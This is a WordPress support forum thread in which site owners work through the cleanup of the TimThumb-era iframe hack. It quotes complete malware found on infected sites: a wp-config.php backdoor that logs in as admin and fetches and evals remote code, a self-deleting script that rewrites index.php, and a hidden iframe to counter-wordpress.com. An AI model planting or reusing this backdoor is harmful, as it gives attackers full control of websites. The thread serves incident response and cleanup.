[TimThumb Vulnerability] iframe hack

Check at https://sitecheck.sucuri.net/scanner/ It should tell you

Thank you so much!

Just found this on one of my sites. It looks bad. Anything special I should do? It was in the wp-config file:

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'ea5d2f1c4608232e07d3aa3d998e5135'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

Same advice as before.

You need to rip that code out, ALL of it, change your passwords and clean your site.

Ipstenu, you are a HUGE help. Thanks so much!

Hi,

I hope that I get ride of that s…

1 step – install fresh wp and template
2 change all passwords

check
wp-config

and after that I have found next:
/wp-content/upd.php

<?php
$file = __FILE__;
$pos = strpos($file,'wp-content');
$dir = substr($file,0,$pos);
$index = file_get_contents($dir.'index.php');
$index = str_replace('superpuperdomain.com','superpuperdomain2.com',$index);
$f = fopen($dir.'index.php',"w");
fputs($f,$index);
fclose($f);
unlink($file);
?>

and
/wp-content/2b64c2f19d868305aa8bbc2d72902cc5.php

because of that you need to check wp-content
Delete those files.

For now is all OK.

Good luck guys… ??

Look for old jquery.js in your template – delete old or upgrade, looks that sometimes there is also something with this iframe hack.

1 step – install fresh wp and template

Instead, DELETE WP and then upload. It’s the only way to scrub out ALL the files. Then you only have to manually check .htaccess and wp-config.php (and if you’ve uploaded any non-images I suppose….)

Delete it all EXCEPT for:
wp-config.php
.htaccess
/wp-content/uploads

And even then you have to scan those two files AND look for any .php files in /wp-content/uploads/

I wish it was easier ??

This may be a dumb question, but I can see counter-wordpress loading on my site. However, when I right click on the page to view source or try to view it in firebug, I can’t find an iframe or “counter” in the source code. Where is it, so I can know if it’s gone?

Because it’s loaded by a JS file… Clever way to hide this kind of thing ….

My Wp installation is ok now, i didn’t delete and reinstall, but i basically did a byte by byte comparison, of the file (with one of my backup, and the file from 3.2.1).

But anyway, in my case, the goal was to analyses what they did ….

The best way to be secure, is obviously to delete and reinstall ….

(Sorry for my English this morning, still no coffee in the system …)

Me too, I have been battling this iframe for the past week. I deleted the entire WP install and reinstalled.

First I found the iframe in the theme and after the reinstall, it’s in the wp-admin area…not good.

I’m thinking the injection might be in the DB because how else can it contaminate my installation AND not be purged when I deleted all the files?

I’m going to have to do a complete reinstallation with a new DB and see how it goes.

@jorge,

Was your db changed in wp-config.php? Because ours was and I since have changed the password on it and removed the iframe and been monitoring the site to see if it’s coming back. I’m really hoping the database hasn’t been affected. Let me know what you find.

Did you delete the files AND change your password AND scan your wp-config.php and .htaccess for possible violations?

Did you remove EVERYTHING in wp-content (except for the /uploads/ folder)?

Did you change all your passwords?

Yes, just finished another install with a fresh database.

Went to the wp-admin area, and nothing. I went to the Manage Themes page and bam, it’s there.

I’m using Chrome – I right click and click on “Inspect Element” – the iframe is there.

iframe id="iframe" style="width: 1px; height: 1px; " src="https://counter-wordpress.com/frame.php" /iframe

View source shows nothing but that’s a given. This is driving me bonkers.

EDIT: If the malicious script was in the DB, it would not have been an issue because like I said, it was a fresh install with a new DB with different passwords, etc.

Jorge – Call your webhost ASAFP and tell them this, because it looks like your server’s compromised.

Call your webhost

That’s a big 10-04

I’ll keep you all posted.
